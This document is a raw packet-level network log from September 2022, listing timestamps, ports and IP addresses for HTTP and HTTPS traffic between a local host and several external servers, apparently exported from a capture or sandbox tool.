Sep 2, 2022 14:02:32.912905931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.913085938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.913144112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.913150072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.913161993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.913184881 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.913228035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.913278103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.913309097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.913321018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.913350105 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.914232969 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.914249897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.914262056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.914298058 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.914323092 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.914336920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.914354086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.914366007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.914396048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.918049097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.918097973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.918109894 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.918205976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:32.919215918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:32.922213078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:33.087452888 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.087578058 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.211443901 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.211606026 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.243385077 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.243557930 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.478861094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:33.479342937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:33.499412060 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.499746084 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.834791899 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:33.835866928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:33.838982105 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.839040041 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.839066982 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.839164019 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.839217901 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.843220949 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.843271017 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.843399048 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844162941 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844181061 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844204903 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844276905 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844286919 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844305038 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844321012 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844330072 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844336987 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844353914 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844367027 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844383001 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844393969 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844410896 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844419956 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844440937 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844448090 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844463110 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844479084 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844486952 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844520092 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844531059 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844589949 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844602108 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844620943 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844686031 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844722033 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844722986 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844765902 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844799995 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844805956 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844866037 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844926119 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.844927073 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.844980955 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.846618891 CEST	49804	443	192.168.2.6	95.142.206.2
Sep 2, 2022 14:02:33.846648932 CEST	443	49804	95.142.206.2	192.168.2.6
Sep 2, 2022 14:02:33.847374916 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.847430944 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847503901 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847587109 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.847621918 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847640991 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.847647905 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847661018 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847709894 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.847722054 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847768068 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847773075 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.847780943 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847798109 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847804070 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.847939968 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848016024 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848038912 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848051071 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848073006 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848138094 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848150015 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848196983 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848206043 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848239899 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848243952 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848259926 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848280907 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848294973 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848326921 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848386049 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848416090 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848424911 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:33.848449945 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.848536968 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:33.850215912 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850239038 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850263119 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850332022 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850351095 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850369930 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850380898 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850399017 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850421906 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850433111 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850447893 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850466013 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850475073 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850495100 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850500107 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850526094 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850550890 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850577116 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850595951 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850619078 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850629091 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850637913 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850656986 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850703001 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850718975 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850749016 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850766897 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850792885 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850805044 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850819111 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850858927 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850868940 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850881100 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850900888 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850931883 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850950956 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:33.850977898 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.850990057 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.851003885 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:33.851043940 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.000705004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.000730991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.000741959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.000858068 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.001133919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.001152992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.001163960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.001180887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.001197100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.001255035 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.001286030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.001298904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.001353025 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.002142906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002177000 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002188921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002252102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002270937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002280951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002294064 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.002348900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.002752066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002794027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002820015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.002865076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003027916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003071070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003098965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003127098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003267050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003283978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003294945 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003307104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003326893 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003480911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003531933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003541946 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003551960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003581047 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003742933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003761053 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003772974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003830910 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003879070 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003926039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003962994 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.003983021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.003995895 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004019022 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.004271030 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004306078 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.004321098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004332066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004353046 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.004565001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004581928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004594088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004631042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.004661083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.004862070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004920959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004931927 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.004961014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005055904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005072117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005083084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005096912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005100965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005373955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005419970 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005610943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005628109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005639076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005659103 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005688906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005714893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005732059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005743027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.005752087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.005769014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.006223917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006242990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006256104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006275892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.006310940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.006464958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006481886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006494045 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006501913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.006534100 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.006903887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006946087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.006964922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.006987095 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.007010937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007214069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007256031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007273912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.007308006 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007332087 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.007524014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007585049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007591009 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.007601976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007626057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.007702112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007762909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007775068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.007810116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.008047104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008064985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008074999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008120060 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.008125067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.008358002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008375883 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008387089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008435011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.008632898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008845091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008857012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.008903980 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009049892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009068012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009078979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009098053 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009109020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009167910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009224892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009237051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009315014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009397984 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009414911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009428024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009435892 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009457111 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009799004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009841919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009869099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009888887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.009942055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009980917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.009998083 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.010030985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010050058 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.010289907 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010332108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010344028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010354042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.010373116 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.010545015 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010591984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.010621071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010632992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.010651112 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.011012077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011028051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011039972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011068106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.011245012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011286974 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011292934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.011303902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011317968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.011776924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011826038 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011837959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.011866093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011890888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.011924028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011964083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.011991978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012008905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.012341022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012357950 CEST	80	49787	85.209.157.230	192.168.2.6
